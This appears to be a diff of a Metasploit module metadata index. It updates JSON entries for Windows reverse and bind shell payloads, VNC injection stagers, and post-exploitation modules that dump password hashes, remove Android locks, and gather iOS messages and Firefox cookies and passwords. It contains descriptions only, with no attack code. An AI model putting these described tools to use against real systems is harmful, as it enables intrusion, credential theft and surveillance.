"platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262761,9 +263760,7 @@ "payload_windows/x64/shell/reverse_tcp_rc4": { "name": "Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/x64/shell/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262776,24 +263773,21 @@ "RageLtMan" ], "description": "Spawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/x64/shell/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262804,9 +263798,7 @@ "payload_windows/x64/shell/reverse_tcp_uuid": { "name": "Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/windows/x64/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262815,24 +263807,21 @@ "OJ Reeves" ], "description": "Spawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/x64/shell/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262843,9 +263832,7 @@ "payload_windows/x64/shell_bind_tcp": { "name": "Windows x64 Command Shell, Bind TCP Inline", "fullname": "payload/windows/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262853,24 +263840,21 @@ "sf " ], "description": "Listen for a connection and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/x64/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -262879,9 +263863,7 @@ "payload_windows/x64/shell_reverse_tcp": { "name": "Windows x64 Command Shell, Reverse TCP Inline", "fullname": "payload/windows/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262889,24 +263871,21 @@ "sf " ], "description": "Connect back to attacker and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -262915,9 +263894,7 @@ "payload_windows/x64/vncinject/bind_ipv6_tcp": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/windows/x64/vncinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262935,15 +263912,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/vncinject/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262954,9 +263930,7 @@ "payload_windows/x64/vncinject/bind_ipv6_tcp_uuid": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/windows/x64/vncinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262975,15 +263949,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/x64/vncinject/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262994,9 +263967,7 @@ "payload_windows/x64/vncinject/bind_named_pipe": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager", "fullname": "payload/windows/x64/vncinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263015,15 +263986,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_named_pipe.rb", "is_install_path": true, "ref_name": "windows/x64/vncinject/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263034,9 +264004,7 @@ "payload_windows/x64/vncinject/bind_tcp": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager", "fullname": "payload/windows/x64/vncinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263054,15 +264022,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/vncinject/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263073,9 +264040,7 @@ "payload_windows/x64/vncinject/bind_tcp_rc4": { "name": "Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/x64/vncinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263098,15 +264063,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/x64/vncinject/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263117,9 +264081,7 @@ "payload_windows/x64/vncinject/bind_tcp_uuid": { "name": "Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/windows/x64/vncinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263138,15 +264100,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/x64/vncinject/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263157,9 +264118,7 @@ "payload_windows/x64/vncinject/reverse_http": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/windows/x64/vncinject/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263178,15 +264137,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-12-16 12:48:57 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_http.rb", "is_install_path": true, "ref_name": "windows/x64/vncinject/reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263197,9 +264155,7 @@ "payload_windows/x64/vncinject/reverse_https": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/windows/x64/vncinject/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263220,15 +264176,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-12-16 12:48:57 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_https.rb", "is_install_path": true, "ref_name": "windows/x64/vncinject/reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263239,9 +264194,7 @@ "payload_windows/x64/vncinject/reverse_tcp": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager", "fullname": "payload/windows/x64/vncinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263259,15 +264212,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/vncinject/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263278,9 +264230,7 @@ "payload_windows/x64/vncinject/reverse_tcp_rc4": { "name": "Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/x64/vncinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263303,15 +264253,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/x64/vncinject/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263322,9 +264271,7 @@ "payload_windows/x64/vncinject/reverse_tcp_uuid": { "name": "Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/windows/x64/vncinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263343,15 +264290,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/x64/vncinject/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263362,9 +264308,7 @@ "payload_windows/x64/vncinject/reverse_winhttp": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/windows/x64/vncinject/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263383,15 +264327,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_winhttp.rb", "is_install_path": true, "ref_name": "windows/x64/vncinject/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263402,9 +264345,7 @@ "payload_windows/x64/vncinject/reverse_winhttps": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/windows/x64/vncinject/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263423,15 +264364,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_winhttps.rb", "is_install_path": true, "ref_name": "windows/x64/vncinject/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263442,26 +264382,22 @@ "post_aix/hashdump": { "name": "AIX Gather Dump Password Hashes", "fullname": "post/aix/hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "theLightCosine " ], - "description": "Post Module to dump the password hashes for all users on an AIX System", - "references": [ - - ], + "description": "Post module to dump the password hashes for all users on an AIX system.", + "references": [], "platform": "AIX", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-26 16:28:15 +0000", "path": "/modules/post/aix/hashdump.rb", "is_install_path": true, "ref_name": "aix/hashdump", @@ -263469,21 +264405,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_android/capture/screen": { "name": "Android Screen Capture", "fullname": "post/android/capture/screen", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -263491,16 +264428,14 @@ "timwr" ], "description": "This module takes a screenshot of the target phone.", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 01:56:49 +0000", "path": "/modules/post/android/capture/screen.rb", "is_install_path": true, "ref_name": "android/capture/screen", @@ -263508,39 +264443,81 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] + }, + "post_android/gather/hashdump": { + "name": "Android Gather Dump Password Hashes for Android Systems", + "fullname": "post/android/gather/hashdump", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "h00die", + "timwr" + ], + "description": "Post Module to dump the password hashes for Android System. Root is required.\n To perform this operation, two things are needed. First, a password.key file\n is required as this contains the hash but no salt. Next, a sqlite3 database\n is needed (with supporting files) to pull the salt from. Combined, this\n creates the hash we need. Samsung based devices change the hash slightly.", + "references": [ + "URL-https://www.pentestpartners.com/security-blog/cracking-android-passwords-a-how-to/", + "URL-https://hashcat.net/forum/thread-2202.html" + ], + "platform": "Android", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-27 01:56:49 +0000", + "path": "/modules/post/android/gather/hashdump.rb", + "is_install_path": true, + "ref_name": "android/gather/hashdump", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] + }, + "session_types": [ + "meterpreter", + "shell" + ], + "needs_cleanup": null, + "actions": [] }, "post_android/gather/sub_info": { - "name": "extracts subscriber info from target device", + "name": "Extract Subscriber Info", "fullname": "post/android/gather/sub_info", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "Auxilus" ], - "description": "This module displays the subscriber info stored on the target phone.\n It uses call service to get values of each transaction code like imei etc.", - "references": [ - - ], + "description": "This module displays the subscriber info stored on the target phone.\n It uses call service to get values of each transaction code like IMEI, etc.", + "references": [], "platform": "Android", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 01:56:49 +0000", "path": "/modules/post/android/gather/sub_info.rb", "is_install_path": true, "ref_name": "android/gather/sub_info", @@ -263548,22 +264525,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_android/gather/wireless_ap": { - "name": "Displays wireless SSIDs and PSKs", + "name": "Gather Wireless SSIDs and PSKs", "fullname": "post/android/gather/wireless_ap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -263572,16 +264550,14 @@ "timwr" ], "description": "This module displays all wireless AP creds saved on the target device.", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 01:56:49 +0000", "path": "/modules/post/android/gather/wireless_ap.rb", "is_install_path": true, "ref_name": "android/gather/wireless_ap", @@ -263589,22 +264565,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_android/local/koffee": { "name": "KOFFEE - Kia OFFensivE Exploit", "fullname": "post/android/local/koffee", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-12-02", "type": "post", @@ -263639,9 +264616,7 @@ "config-changes", "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter" @@ -263733,9 +264708,7 @@ "post_android/manage/remove_lock": { "name": "Android Settings Remove Device Locks (4.0-4.3)", "fullname": "post/android/manage/remove_lock", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-10-11", "type": "post", @@ -263743,7 +264716,7 @@ "CureSec", "timwr" ], - "description": "This module exploits a bug in the Android 4.0 to 4.3 com.android.settings.ChooseLockGeneric class.\n Any unprivileged app can exploit this vulnerability to remove the lockscreen.\n A logic flaw / design error exists in the settings application that allows an Intent from any\n application to clear the screen lock. The user may see that the Settings application has crashed,\n and the phone can then be unlocked by a swipe.\n This vulnerability was patched in Android 4.4.", + "description": "This module exploits a bug in the Android 4.0 to 4.3 com.android.settings.ChooseLockGeneric class.\n Any unprivileged app can exploit this vulnerability to remove the lockscreen.\n A logic flaw / design error exists in the settings application that allows an Intent from any\n application to clear the screen lock. The user may see that the Settings application has crashed,\n and the phone can then be unlocked by a swipe.\n This vulnerability was patched in Android 4.4.", "references": [ "CVE-2013-6271", "URL-http://blog.curesec.com/article/blog/26.html", @@ -263755,7 +264728,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 01:56:49 +0000", "path": "/modules/post/android/manage/remove_lock.rb", "is_install_path": true, "ref_name": "android/manage/remove_lock", @@ -263763,39 +264736,41 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [ + "config-changes", + "screen-effects" + ], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_android/manage/remove_lock_root": { "name": "Android Root Remove Device Locks (root)", "fullname": "post/android/manage/remove_lock_root", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "timwr" ], - "description": "This module uses root privileges to remove the device lock.\n In some cases the original lock method will still be present but any key/gesture will\n unlock the device.", - "references": [ - - ], + "description": "This module uses root privileges to remove the device lock.\n In some cases the original lock method will still be present but any key/gesture will\n unlock the device.", + "references": [], "platform": "Android", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 01:56:49 +0000", "path": "/modules/post/android/manage/remove_lock_root.rb", "is_install_path": true, "ref_name": "android/manage/remove_lock_root", @@ -263803,22 +264778,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes", + "screen-effects" + ], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_apple_ios/gather/ios_image_gather": { "name": "iOS Image Gatherer", "fullname": "post/apple_ios/gather/ios_image_gather", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -263826,16 +264805,14 @@ "Shelby Pace" ], "description": "This module collects images from iPhones.\n Module was tested on iOS 10.3.3 on an iPhone 5.", - "references": [ - - ], + "references": [], "platform": "Apple_iOS", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 02:31:19 +0000", "path": "/modules/post/apple_ios/gather/ios_image_gather.rb", "is_install_path": true, "ref_name": "apple_ios/gather/ios_image_gather", @@ -263843,21 +264820,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_apple_ios/gather/ios_text_gather": { "name": "iOS Text Gatherer", "fullname": "post/apple_ios/gather/ios_text_gather", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -263865,16 +264843,14 @@ "Shelby Pace" ], "description": "This module collects text messages from iPhones.\n Tested on iOS 10.3.3 on an iPhone 5.", - "references": [ - - ], + "references": [], "platform": "Apple_iOS", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 02:31:19 +0000", "path": "/modules/post/apple_ios/gather/ios_text_gather.rb", "is_install_path": true, "ref_name": "apple_ios/gather/ios_text_gather", @@ -263882,21 +264858,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_bsd/gather/hashdump": { "name": "BSD Dump Password Hashes", "fullname": "post/bsd/gather/hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -263904,16 +264881,14 @@ "bcoles " ], "description": "Post module to dump the password hashes for all users on a BSD system.", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-04-12 13:09:34 +0000", + "mod_time": "2025-04-27 02:09:41 +0000", "path": "/modules/post/bsd/gather/hashdump.rb", "is_install_path": true, "ref_name": "bsd/gather/hashdump", @@ -263921,39 +264896,38 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_firefox/gather/cookies": { - "name": "Firefox Gather Cookies from Privileged Javascript Shell", + "name": "Firefox Gather Cookies from Privileged JavaScript Shell", "fullname": "post/firefox/gather/cookies", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-03-26", "type": "post", "author": [ "joev " ], - "description": "This module allows collection of cookies from a Firefox Privileged Javascript Shell.", - "references": [ - - ], + "description": "This module allows collection of cookies from a Firefox Privileged JavaScript Shell.", + "references": [], "platform": "", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-29 21:39:18 +0000", "path": "/modules/post/firefox/gather/cookies.rb", "is_install_path": true, "ref_name": "firefox/gather/cookies", @@ -263961,38 +264935,35 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, - "session_types": [ - - ], + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_firefox/gather/history": { - "name": "Firefox Gather History from Privileged Javascript Shell", + "name": "Firefox Gather History from Privileged JavaScript Shell", "fullname": "post/firefox/gather/history", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-04-11", "type": "post", "author": [ "joev " ], - "description": "This module allows collection of the entire browser history from a Firefox\n Privileged Javascript Shell.", - "references": [ - - ], + "description": "This module allows collection of the entire browser history from a Firefox\n Privileged JavaScript Shell.", + "references": [], "platform": "", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-29 21:39:18 +0000", "path": "/modules/post/firefox/gather/history.rb", "is_install_path": true, "ref_name": "firefox/gather/history", @@ -264000,38 +264971,35 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, - "session_types": [ - - ], + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_firefox/gather/passwords": { - "name": "Firefox Gather Passwords from Privileged Javascript Shell", + "name": "Firefox Gather Passwords from Privileged JavaScript Shell", "fullname": "post/firefox/gather/passwords", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-04-11", "type": "post", "author": [ "joev " ], - "description": "This module allows collection of passwords from a Firefox Privileged Javascript Shell.", - "references": [ - - ], + "description": "This module allows collection of passwords from a Firefox Privileged JavaScript Shell.", + "references": [], "platform": "", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-29 21:39:18 +0000", "path": "/modules/post/firefox/gather/passwords.rb", "is_install_path": true, "ref_name": "firefox/gather/passwords", @@ -264039,21 +265007,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, - "session_types": [ - - ], + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_firefox/gather/xss": { "name": "Firefox XSS", "fullname": "post/firefox/gather/xss", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264061,16 +265028,14 @@ "joev " ], "description": "This module runs the provided SCRIPT as javascript in the\n origin of the provided URL. It works by navigating to a hidden\n ChromeWindow to the URL, then injecting the SCRIPT with Function().\n The callback \"send(result)\" is used to send data back to the listener.", - "references": [ - - ], + "references": [], "platform": "Firefox", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-13 09:23:28 +0000", "path": "/modules/post/firefox/gather/xss.rb", "is_install_path": true, "ref_name": "firefox/gather/xss", @@ -264078,28 +265043,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, - "session_types": [ - - ], + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_firefox/manage/webcam_chat": { - "name": "Firefox Webcam Chat on Privileged Javascript Shell", + "name": "Firefox Webcam Chat on Privileged JavaScript Shell", "fullname": "post/firefox/manage/webcam_chat", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-05-13", "type": "post", "author": [ "joev " ], - "description": "This module allows streaming a webcam from a privileged Firefox Javascript shell.", + "description": "This module allows streaming a webcam from a privileged Firefox JavaScript shell.", "references": [ "URL-http://www.rapid7.com/db/modules/exploit/firefox/local/exec_shellcode" ], @@ -264109,7 +265073,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": 